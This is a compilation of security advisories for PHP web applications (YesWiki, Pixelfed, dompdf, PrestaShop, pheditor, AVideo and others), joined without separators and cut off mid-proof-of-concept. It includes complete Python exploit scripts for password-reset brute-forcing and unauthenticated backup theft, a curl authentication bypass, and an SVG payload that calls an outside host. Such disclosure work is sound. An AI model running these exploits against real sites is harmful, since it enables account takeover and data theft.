Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the `includes/services/UserManager.php` file at line `201` :

```php
protected function generateUserLink($user)
{
    // Generate the password recovery key
    $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);
```

The key is generated from the **user's name**, **e-mail address**, a random number **between 0 and 10000**, the **current date** of the request and the **salt**.
If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.

### Proof of Concept (PoC)
To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Nishacid
# YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto

from hashlib import md5
from requests import post, get
from base64 import b64encode
from sys import exit
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from argparse import ArgumentParser

# Known data
salt = 'FBcA' # Hardcoded salt 
random_range = 10000  # Range for random_int()
WORKERS = 20 # Number of workers

# Arguments
def parseArgs():
    parser = ArgumentParser()
    parser.add_argument("-u", "--username", dest="username", default=None, help="Username of the account", required=True)
    parser.add_argument("-e", "--email", dest="email", default=None, help="Email of the account", required=True)
    parser.add_argument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True)
    return parser.parse_args()

# Reset password request and get timestamp  
def reset_password(email: str, domain: str):
    response = post(
        f'{domain}?MotDePassePerdu',
        data={
            'email': email, 
            'subStep': '1'
        },
        headers={
            'Content-Type': 'application/x-www-form-urlencoded'
        }
    )
    if response.ok:
        timestamp = datetime.now() # obtain the timestamp
        timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')
        print(f"[*] Requesting link for {email} at {timestamp}")
        return timestamp
    else:
        print("[-] Error while resetting password.")
        exit()

# Generate and check keys
def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):
    user_base64 = b64encode(username.encode()).decode()
    data = f"{username}_{email}{random_int_val}{timestamp_req}{salt}"
    hash_candidate = md5(data.encode()).hexdigest()
    url = f"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}"
    # print(f"[*] Checking {url}")
    response = get(url)
    
    # Check if the link is valid, warning depending on the language
    if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text:
        return (True, random_int_val, hash_candidate, url)
    return (False, random_int_val, None, None)

def main(timestamp_req: str, domain: str, username: str, email: str):
    # Launch the brute-force
    print(f"[*] Starting brute-force, it can take few minutes...")
    with ThreadPoolExecutor(max_workers=WORKERS) as executor:
        futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]
        
        for future in as_completed(futures):
            success, random_int_val, hash_candidate, url = future.result()
            if success:
                print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}")
                print(f"[+] URL: {url}")
                exit()
        else:
            print("[-] Key not found.")

if __name__ == "__main__":
    args = parseArgs()
    timestamp_req = reset_password(args.email, args.domain)
    main(timestamp_req, args.domain, args.username, args.email)
```

Simply run this script with the arguments `-u` for the username, `-e` for the email and `-d` for the target domain.

```bash
» python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' 
[*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48
[*] Starting brute-force, it can take few minutes...
[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9
[+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K
```

### Impact
Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.

### Recommendation 
The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one.
For example, you can use [random bytes](https://www.php.net/manual/en/function.random-bytes.php) instead of a random integer.

### Summary

When processing requests authorization was improperly and insufficiently checked, allowing attackers to access far more functionality than users intended, including to the administrative and moderator functionality of the Pixelfed server.

This vulnerability affects every version of Pixelfed between `v0.10.4` and `v0.11.9`, inclusive. A proof of concept of this vulnerability exists.

### Details

In vulnerable versions of Pixelfed (versions before 0.11.11), when the API checked the request for permissions to perform a certain behavior, it did not check that the OAuth Application/Client had granted access to those API endpoints, it only checked if the user was authenticated via an access token, and if the user was the owner of the resource or an admin on the instance.

This meant that an attacker could request an access token for "read" permissions to authenticate you with their application, but the access token that they obtained actually could be used for "write" or even administrative actions, and the user who granted access to their account had zero knowledge of this elevated access.

#### Proof of Concept

1. Create an access token either via [2-legged OAuth flow](https://oauth.net/2/grant-types/authorization-code/) for the `read` scope, or create a Personal Access Tokens with the `read` scope.
2. Using that Access Token, perform a request that would need a particular higher-privilege scope, for instance, following a user or performing an administrative request. (respectively requiring `follow` or `admin:read` and `admin:write` scopes in the patched versions)
3. Observe that despite your access token having `read` permissions, the follow or administrative request was successful.

e.g., Maybe an attacker collects an access token (which expires in 1 year) wants to do something really nasty to an admin, such as disabling federation on their target's pixelfed server. As long as that server has `instance.enable_cc` configured (defaults to `true`), then the attacker can use the `read` scoped access token and perform the following request:

```
POST /api/admin/config/update
Content-Type: application/json
Accept: application/json
Authorization: Bearer <access token with read scope>

{ "key": "federation.activitypub.enabled": "value": false }
```

And federation of that pixelfed server would be subsequently disabled, as if the administrator had disabled it.

### Impact

This vulnerability affects every local user of a Pixelfed server, and can potentially affect the servers' ability to federate.

Some user interaction is required to setup the conditions to be able to exercise the vulnerability, but the attacker could conduct this attack time-delayed manner, where user interaction is not actively required, since access tokens in Pixelfed have a 1-year lifetime before they expire, and users' often forget to revoke access tokens for applications that they are no longer using.

This also means that Access Tokens that may have been leaked from third-party OAuth Application's databases would be usable for a significant amount of time by potential attackers.

### Prior versions

Whilst this vulnerability is listed as `>= 0.10.4`, there is potential that versions before `0.10.4` are also vulnerable to this sort of security bypass, however, given that the code changed significantly between `0.10.3` and `0.10.4` we've been unable to easily assess if these heavily outdated versions are vulnerable or not to this exploit.

### Sponsorship

The work involved in investigating and remediation of this security vulnerability was provided by [Nivenly Foundation](https://nivenly.org/), for whom we are grateful for their support of the Fediverse and Pixelfed.

### Summary
A lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP < 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.

### Details
The problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : 

```
$name = basename($font);
$dir = dirname($font);
[...]
$metrics_name = "$name.ufm";
[...]

if (!isset($this->fonts[$font]) && file_exists("$dir/$metrics_name")) {
```

Passing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive.


### PoC

Consider the following, minimal PHP code : 

```
<?php
require('vendor/autoload.php');

use Dompdf\Dompdf;
$dompdf = new Dompdf();
$dompdf->loadHtml($_GET['payload']);
$dompdf->setPaper('A4', 'landscape');
$options = $dompdf->getOptions();
$options->setAllowedProtocols([]);
$dompdf->render();
$dompdf->stream();
```

With payload being this html file : 

```
<html>
<img src="data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4="></img>
</html>
```

with the base64 image being : 
```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <text x="20" y="35" style="color:red;font-family:ftp://blakl.is:21/x/y;">My</text>
</svg>
```

A connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.

### Impact
An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.

### Impact

A PHP Object Injection vulnerability affects the PrestaShop module `ps_facetedsearch`.

The module rebuilds the selected search filters from the request URL. The value of a slider filter (**price** or **weight**) is taken from the URL without sufficient validation, then stored in an internal filter-block cache where it is serialized and later read back with a raw native `unserialize()`.
By crafting that value, an attacker can smuggle a malicious serialized PHP object into the cache. When it is deserialized, a gadget chain writes an arbitrary PHP file inside the module directory, which is then used as a webshell to run commands on the server.

### Who is impacted

Any shop using a vulnerable version of `ps_facetedsearch` that displays a filter template containing a slider filter (price or weight). Exploitation is remote and **unauthenticated**, a single crafted front-office request is enough, and leads to remote code
execution and full compromise of the shop and its server.

**Affected versions:** `3.0.0` through `4.0.3` (all versions since 3.0.0, including the latest release).


### Patches

Upgrade the `ps_facetedsearch` module to the patched version. Upgrading the module is the best action that removes the vulnerability.

Otherwise, you can apply the fix manually in the file `src/Filters/Block.php`:

In the `getFromCache()` method, replace the native `unserialize()` call:

```php
// Before
if (!empty($row)) {
    return unserialize(current($row));
}

// After
if (!empty($row)) {
    return \Tools::unSerialize(current($row));
}
```

### Until the module is upgraded:

- Remove price and weight slider filters from the filter templates that are exposed on the
  front office.
- Clear the faceted-search filter cache, and audit the `modules/ps_facetedsearch/` directory for
  unexpected PHP files.
- Monitor search requests for PHP serialization patterns (`O:`, `;i:`, references to classes such
  as `Monolog\…`) and block them at the WAF level.

### Resources

- Thank you to Frédéric Moreau (Antadis) and Gilles Caudal (Datalinx) for reporting this vulnerability.

### Impact

This is an additional fix for https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g

This is a high-impact, low-complexity attack vector. To mitigate the issue, users running Craft installations before the fixed versions are encouraged to update to at least that version. 

### Details

https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432

### References

https://github.com/craftcms/cms/commit/e1c85441fa47eeb7c688c2053f25419bc0547b47

https://github.com/craftcms/cms/blob/3.x/CHANGELOG.md#3915---2025-04-10-critical
https://github.com/craftcms/cms/blob/4.x/CHANGELOG.md#41415---2025-04-10-critical
https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5617---2025-04-10-critical

https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

### Credits

Credit to [Orange Cyberdefense](https://github.com/Orange-Cyberdefense) for discovering a reporting this bug.

A flaw was found in Moodle versions 3.1 to 3.1.15 and earlier unsupported versions. The mybackpack functionality allowed setting the URL of badges, when it should be restricted to the Mozilla Open Badges backpack URL. This resulted in the possibility of blind SSRF via requests made by the page.

Torrentpier version 2.4.1 allows executing arbitrary commands on the server.

This is possible because the application is vulnerable to insecure deserialization.

### Summary

The request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication. 

The archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated. 

### Details

Create an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for: 

```
POST /?api/archives HTTP/1.1
Host: localhost:8085

action=startArchive&params%5Bsavefiles%5D=true&params%5Bsavedatabase%5D=true&callAsync=true
```
Then to retrieve it, make a simple `GET` request like to the correct URL: 
```
http://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip
```
A malicious attacker could simply fuzz this filename.

### PoC
Here is a python script to fuzz this: 

```
#!/usr/bin/env python3

import requests
import argparse
import datetime
import time
from urllib.parse import urljoin
from email.utils import parsedate_to_datetime
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Hardcoded proxy config for Burp Suite
BURP_PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}

def send_post_request(base_url, use_proxy=False):
    url = urljoin(base_url, "/?api/archives")
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
    }

    data = {
        "action": "startArchive",
        "params[savefiles]": "true",
        "params[savedatabase]": "true",
        "callAsync": "true"
    }

    proxies = BURP_PROXIES if use_proxy else None
    response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
    print(f"[+] Archive start response code: {response.status_code}")

    server_date = response.headers.get("Date")
    if server_date:
        ts = parsedate_to_datetime(server_date)
        print(f"[✓] Server time (from Date header): {ts.strftime('%Y-%m-%d %H:%M:%S')} UTC")
        return ts
    else:
        print("[!] Server did not return a Date header, falling back to local UTC.")
        return datetime.datetime.utcnow()

def try_download_files(base_url, timestamp, use_proxy=False):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
    }

    proxies = BURP_PROXIES if use_proxy else None
    print("[*] Trying to download the archive with timestamp fuzzing (±10 seconds)...")

    base_ts = timestamp + datetime.timedelta(hours=2)

    time.sleep(30)  # delay to generate the archive

    for offset in range(-4, 15):
        ts = base_ts + datetime.timedelta(seconds=offset)
        filename = ts.strftime("%Y-%m-%dT%H-%M-%S_archive.zip")
        url = urljoin(base_url, f"/?api/archives/{filename}")
        print(f"[>] Trying: {url}")
        r = requests.get(url, headers=headers, proxies=proxies, verify=False)

        if r.status_code == 200 and r.headers.get("Content-Type", "").startswith("application/zip"):
            print(f"[✓] Archive found and downloaded: {filename}")
            with open(filename, "wb") as f:
                f.write(r.content)
            return

    print("[!] No archive found within the fuzzed window.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Trigger archive and fetch resulting file with timestamp fuzzing.")
    parser.add_argument("host", help="Base host URL, e.g., http://localhost:8085")
    parser.add_argument("-p", "--proxy", action="store_true", help="Route requests through Burp Suite proxy at 127.0.0.1:8080")
    args = parser.parse_args()

    ts = send_post_request(args.host, use_proxy=args.proxy)
    print(f"[+] Archive request sent at (UTC): {ts.strftime('%Y-%m-%d %H:%M:%S')}")

    try_download_files(args.host, ts, use_proxy=args.proxy)
```

### Impact

Denial of Service - A malicious attacker could simply make numerous requests to create archives and fill up the file system with archives. 

Site Compromise - A malicious attacker can download the archive which will contain sensitive site information.

### Impact
This vulnerability would allow any user, regardless of permissions, to upload content into a repository. This affects installations of Islandora core 2.0 or greater.

### Patches
Upgrade immediately to the [latest release](https://github.com/Islandora/islandora/releases/tag/2.4.1) of Islandora.

### Workarounds
In lieu of an upgrade the [following module](https://github.com/Islandora/islandora_ghsa_route_fix) can be leveraged that will resolve the issue until such a time an upgrade can take place.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Islandora](https://github.com/Islandora/islandora)
* Contact community@islandora.ca.


Adobe Commerce versions 2.4.3-p3 (and earlier), 2.4.4-p1 (and earlier) and 2.4.5 (and earlier) are affected by a Stored Cross-site Scripting vulnerability. Exploitation of this issue does not require user interaction and could result in a post-authentication arbitrary code execution.

## Summary

The forced password-change flow, triggered when the stored password is still the default (`admin`), does not verify that the password submitted by the client actually matches the current password. Any non-empty value in `pheditor_password` is enough to reach the password-change form, and submitting `pheditor_new_password` / `pheditor_confirm_password` in the same request is enough to set an arbitrary new password and obtain an authenticated session — without ever proving knowledge of the current password.

## Root Cause

`pheditor.php` line 163:

```php
if (PASSWORD == hash('sha512', 'admin')) { // still default — force change prompt
```

This checks whether the **stored** `PASSWORD` constant is still the default value. It does not check whether the **submitted** `pheditor_password` matches it. As a result, on any instance that hasn't changed the default password, the check passes regardless of what the client actually sends, and the subsequent password-change branch is reachable without authentication.

## PoC

```bash
TARGET="https://victim.com/pheditor.php"

# Any non-empty value works here — password is never actually verified
curl -c /tmp/j.txt \
  -d 'pheditor_password=anything' \
  -d 'pheditor_new_password=attacker123' \
  -d 'pheditor_confirm_password=attacker123' \
  "$TARGET" -L -s -o /dev/null

# Session is now authenticated as admin, with the password changed to attacker123
```

## Impact

On any instance where the default password has not yet been changed, an unauthenticated attacker can set an arbitrary new admin password and obtain a fully authenticated session, without knowing the current password. This is a complete authentication bypass, not merely "default credentials in use" — it holds even if the operator believes the instance is protected because the login form is present.

## Remediation

Verify the submitted password against the stored `PASSWORD` constant *before* entering the forced password-change branch, so the flow is reachable only by someone who actually knows the current password:

```php
$submitted_hash = hash('sha512', $_POST['pheditor_password']);

if (PASSWORD == hash('sha512', 'admin') && $submitted_hash === PASSWORD) {
    // proceed to forced password-change flow
} else {
    // treat as a normal login attempt (including rate-limiting)
}
```

## Note on scope

The original report submitted alongside this finding also included two additional items:

- **Unrestricted PHP upload** — addressed as intended behavior (Pheditor is a single-admin PHP file editor; PHP file creation/editing is core to its function, and pattern-restricting only the upload path doesn't reduce risk since the same result is reachable via the `save`/`newfile` action). Documented explicitly in the README's new Security Model section.
- **Terminal allowlist bypass (`php -r ...`)** — a duplicate of a previously reported and already-patched issue (GHSA-g3hq-hphg-8fhh, fixed in v2.0.7).

This advisory has been scoped to the authentication bypass specifically, since it's a distinct root cause from both of those. Full responses to all three points are in the comments below.

Improper escaping of a query parameter may allow an attacker to execute arbitrary SQL statements when the code using ADOdb connects to a sqlite3 database and calls the metaColumns(), metaForeignKeys() or metaIndexes() methods with a crafted table name.

Note that the indicated Severity corresponds to a worst-case usage scenario, e.g. allowing user-supplied data to be sent as-is to the above-mentioned methods.

### Impact
SQLite3 driver.

### Patches
Vulnerability is fixed in ADOdb 5.22.10 (https://github.com/ADOdb/ADOdb/commit/5b8bd52cdcffefb4ecded1b399c98cfa516afe03).

### Workarounds
Only pass controlled data to metaColumns(), metaForeignKeys() and metaIndexes() method's $table parameter.

### Credits

Thanks to Marco Nappi (@mrcnpp) for reporting this vulnerability.

### Impact
Attackers could:
1. Execute arbitrary commands on the server
2. Access sensitive environment variables
3. Escalate access depending on server configuration

A critical vulnerability was discovered in LaRecipe that allows an attacker to perform Server-Side Template Injection (SSTI), potentially leading to Remote Code Execution (RCE) in vulnerable configurations.

### Patches
Users are strongly advised to upgrade to version v2.8.1 or later.

### Credit
We would like to thank **Roman Ananev** for responsibly identifying and reporting this vulnerability.

CodeIgniter 3.1.0 addressed a critical security issue within the ODBC database driver. This update includes crucial fixes to mitigate a SQL injection vulnerability, preventing potential exploitation by attackers. It is noteworthy that these fixes render the query builder and escape() functions incompatible with the ODBC driver. However, the update introduces actual query binding as a more secure alternative.

## Impact

Using the `/locales/locale.json` with the `locale` and `namespace` query parameters, a malicious actor is able to execute arbitrary code, without being authenticated.

With the ability to execute arbitrary code, this vulnerability can be exploited in an infinite number of ways.  It could be used to gain access to the Panel's server, read credentials from the Panel's config (`.env` or otherwise), extract sensitive information from the database (such as user details [username, email, first and last name, hashed password, ip addresses, etc]), access files of servers managed by the panel, etc.

## Patches

This vulnerability was patched by https://github.com/pterodactyl/panel/commit/24c82b0e335fb5d7a844226b08abf9f176e592f0 and was released under the [`v1.11.11`](https://github.com/pterodactyl/panel/releases/tag/v1.11.11) tag without any other code modifications compared to `v1.11.10`.

For those who need to patch their installations in-place or apply it on top of other code modifications, a patch file can be retrieved from <https://github.com/pterodactyl/panel/commit/24c82b0e335fb5d7a844226b08abf9f176e592f0.patch> and applied using `git apply`.

## Workarounds

Other than patching the software, there is no workaround in this software.  Disabling the `/locales/locale.json` endpoint at the webserver level is possible, but would break the localization feature wherever it is used.

The only other workaround relies on an external Web Application Firewall (WAF), such as Cloudflare's WAF with their default ruleset (requires Pro plan or above, Free doesn't have the proper ruleset) to mitigate this attack.

Updating to [`v1.11.11`](https://github.com/pterodactyl/panel/releases/tag/v1.11.11) or manually patching the software are the only recommended ways to completely mitigate this vulnerability.

## User Notice

Shortly after the [`v1.11.11`](https://github.com/pterodactyl/panel/releases/tag/v1.11.11)release and it's announcement, security researchers and malicious actors have been attempting to exploit this vulnerability.  While there hasn't been any official confirmations of breaches or successful exploits of the vulnerability in the wild, it is only a matter of time for those who remain on unpatched versions without any workarounds in place.

The scope of this vulnerability cannot be fully described, anything is possible.  It is of utmost importance that anyone running a vulnerable version of this software, patch it or update to the latest available version **immediately**.

The sr_feuser_register extension through 12.4.8 for TYPO3 allows Remote Code Execution via unsafe deserialization.

In fenom 2.12.1 and before, there is a way in fenom/src/Fenom/Template.php function getTemplateCode()to bypass sandbox to execute arbitrary PHP code when disable_native_funcs is true.

### Impact

This is a high-impact, low-complexity attack vector. Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. 

### Mitigations

* This has been fixed in Craft 4.4.15. You should ensure you’re running at least that version.
* Refresh your security key in case it has already been captured. You can do that by running the `php craft setup/security-key` command and copying the updated `CRAFT_SECURITY_KEY` environment variable to all production environments.
* If you have any other private keys stored as environment variables (e.g., S3 or Stripe), refresh those as well.
* Out of an abundance of caution, you may want to force all your users to reset their passwords in case your database was compromised. You can do that by running `php craft resave/users --set passwordResetRequired --to "fn() => true"`.

### References

https://github.com/craftcms/cms/commit/c0a37e15cc925c473e60e27fe64054993b867ac1#diff-47dd43d86f85161944dfcce2e41d31955c4184672d9bd9d82b948c6b01b86476

https://github.com/craftcms/cms/commit/7359d18d46389ffac86c2af1e0cd59e37c298857

https://github.com/craftcms/cms/commit/a270b928f3d34ad3bd953b81c304424edd57355e

https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#4415---2023-07-03-critical


Improper escaping of a query parameter may allow an attacker to execute arbitrary SQL statements when the code using ADOdb connects to a PostgreSQL database and calls pg_insert_id() with user-supplied data.

Note that the indicated Severity corresponds to a worst-case usage scenario.

### Impact
PostgreSQL drivers (postgres64, postgres7, postgres8, postgres9).

### Patches
Vulnerability is fixed in ADOdb 5.22.9 (11107d6d6e5160b62e05dff8a3a2678cf0e3a426).

### Workarounds
Only pass controlled data to pg_insert_id() method's $fieldname parameter, or escape it with pg_escape_identifier() first.

### References
- Issue https://github.com/ADOdb/ADOdb/issues/1070
- [Blog post](https://xaliom.blogspot.com/2025/05/from-sast-to-cve-2025-46337.html) by Marco Nappi

### Credits
Thanks to Marco Nappi (@mrcnpp) for reporting this vulnerability.

### Summary
Due to the difference in the attribute parser of Dompdf and php-svg-lib, an attacker can still call arbitrary URLs with arbitrary protocols.

### Details
Dompdf parses the href attribute of `image` tags with the following code:

[`src/Image/Cache.php` line 135-150](https://github.com/dompdf/dompdf/blob/2a8a6b80fcaa5148ace50f35a10979fe00c6a35d/src/Image/Cache.php#L135-L150)
``` php
function ($parser, $name, $attributes) use ($options, $parsed_url, $full_url) {
    if (strtolower($name) === "image") {
        $attributes = array_change_key_case($attributes, CASE_LOWER);
        $url = $attributes["xlink:href"] ?? $attributes["href"];
        if (!empty($url)) {
            $inner_full_url = Helpers::build_url($parsed_url["protocol"], $parsed_url["host"], $parsed_url["path"], $url);
            if ($inner_full_url === $full_url) {
                throw new ImageException("SVG self-reference is not allowed", E_WARNING);
            }
            [$resolved_url, $type, $message] = self::resolve_url($url, $parsed_url["protocol"], $parsed_url["host"], $parsed_url["path"], $options);
            if (!empty($message)) {
                throw new ImageException("This SVG document references a restricted resource. $message", E_WARNING);
            }
        }
    }
},
```

As you can see from the code snippet above, it respects `xlink:href` even if `href` is specified.
``` php
$url = $attributes["xlink:href"] ?? $attributes["href"];
```

However, php-svg-lib, which is later used to parse the svg file, parses the href attribute with the following code:

[`src/Svg/Tag/Image.php` line 51-57](https://github.com/dompdf/php-svg-lib/blob/76876c6cf3080bcb6f249d7d59705108166a6685/src/Svg/Tag/Image.php#L51-L57)
``` php
if (isset($attributes['xlink:href'])) {
    $this->href = $attributes['xlink:href'];
}

if (isset($attributes['href'])) {
    $this->href = $attributes['href'];
}
```

Since `href` is respected if both `xlink:href` and `href` is specified, it's possible to bypass the protection on the Dompdf side by providing an empty `xlink:href` attribute.

### Impact
An attacker can exploit the vulnerability to call arbitrary URLs with arbitrary protocols if they provide an SVG file to the Dompdf. In PHP versions before 8.0.0, it leads to arbitrary unserialize, which will lead, at the very least, to arbitrary file deletion and might lead to remote code execution, depending on available classes.

### Summary
The URI validation on dompdf 2.0.1 can be bypassed on SVG parsing by passing `<image>` tags with uppercase letters. This might leads to arbitrary object unserialize on PHP < 8, through the `phar` URL wrapper.

### Details
The bug occurs during SVG parsing of `<image>` tags, in src/Image/Cache.php : 

```
if ($type === "svg") {
    $parser = xml_parser_create("utf-8");
    xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);
    xml_set_element_handler(
        $parser,
        function ($parser, $name, $attributes) use ($options, $parsed_url, $full_url) {
            if ($name === "image") {
                $attributes = array_change_key_case($attributes, CASE_LOWER);
```
This part will try to detect `<image>` tags in SVG, and will take the href to validate it against the protocolAllowed whitelist. However, the `$name comparison with "image" is case sensitive, which means that such a tag in the SVG will pass : 

```
<svg>
    <Image xlink:href="phar:///foo"></Image>
</svg>
```

As the tag is named "Image" and not "image", it will not pass the condition to trigger the check.

A correct solution would be to strtolower the `$name` before the check : 

```
if (strtolower($name) === "image") {
```

### PoC
Parsing the following SVG file is sufficient to reproduce the vulnerability :

```
<svg>
    <Image xlink:href="phar:///foo"></Image>
</svg>
```

### Impact
An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can provide a SVG file to dompdf. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.


## Summary

The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the `msg` or `callback` fields. On the client side, `plugin/YPTSocket/script.js` contains two `eval()` sinks fed directly by those relayed fields (`json.msg.autoEvalCodeOnHTML` at line 568 and `json.callback` at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.

## Details

### Token issuance is unauthenticated

`plugin/YPTSocket/getWebSocket.json.php:11-21` returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:

```php
if(!AVideoPlugin::isEnabledByName("YPTSocket")){
    $obj->msg = "Socket plugin not enabled";
    die(json_encode($obj));
}
$obj->error = false;
$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();
```

`getEncryptedInfo()` in `plugin/YPTSocket/functions.php:3-16` populates `from_users_id = User::getId()` (0 for guests) and `isAdmin = User::isAdmin()` (false for guests). The issued token is accepted by the WebSocket server's `onOpen` handler (`Message.php:44-52`) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.

### Server relays attacker JSON verbatim

`plugin/YPTSocket/Message.php:191-245` — the default branch of `onMessage` only rewrites `from_identification`:

```php
public function onMessage(ConnectionInterface $from, $msg) {
    ...
    $json = _json_decode($msg);
    if (empty($json->webSocketToken)) { return false; }
    if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }

    switch ($json->msg) {
        ...
        default:
            $this->msgToArray($json);
            if (isset($json['from_identification'])) {
                $json['from_identification'] = strip_tags((string)($msgObj->user_name ?? ''));
            }
            ...
            } else {
                $this->msgToAll($from, $json);  // broadcast
            }
            break;
    }
}
```

`msgToResourceId()` at `Message.php:297-310` copies the attacker-controlled `callback` and `msg` fields into the outbound payload:

```php
if (isset($msg['callback'])) {
    $obj['callback'] = $msg['callback'];  // tainted
    ...
}
...
} else if (!empty($msg['msg'])) {
    $obj['msg'] = $msg['msg'];  // tainted — entire object forwarded verbatim
}
```

`$obj` is JSON-encoded at line 335 and sent to every connected client.

### Client-side sink #1: `autoEvalCodeOnHTML` → eval

`plugin/YPTSocket/script.js:163-169` (raw WebSocket transport) sets every inbound frame as `yptSocketResponse` and unconditionally calls `parseSocketResponse()`:

```js
connWS.onmessage = function (e) {
    var json = JSON.parse(e.data);
    ...
    yptSocketResponse = json;
    parseSocketResponse();
    ...
};
```

`parseSocketResponse()` at `script.js:545-569` reaches the sink:

```js
async function parseSocketResponse() {
    const json = yptSocketResponse;
    ...
    if (json.msg?.autoEvalCodeOnHTML !== undefined) {
        eval(json.msg.autoEvalCodeOnHTML);   // <-- attacker-controlled
    }
    ...
}
```

### Client-side sink #2: `json.callback` → eval

`plugin/YPTSocket/script.js:91-95` — `processSocketJson()` concatenates attacker-controlled `json.callback` into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (`script.js:182`) and the Socket.IO branch (`script.js:339` via `socket.on("message", (data) => { … processSocketJson(data) })`):

```js
if (json.callback) {
    var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }";
    socketLog('Executing callback:', json.callback);
    eval(code);
    ...
}
```

Because `json.callback` is interpolated as raw source, a payload like `alert(document.cookie);window.x` breaks out of the `typeof` expression and executes during the condition evaluation.

## PoC

Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).

**Step 1 — obtain a token anonymously** (no cookies, no auth):

```bash
curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'
```

Expected output (abbreviated):
```json
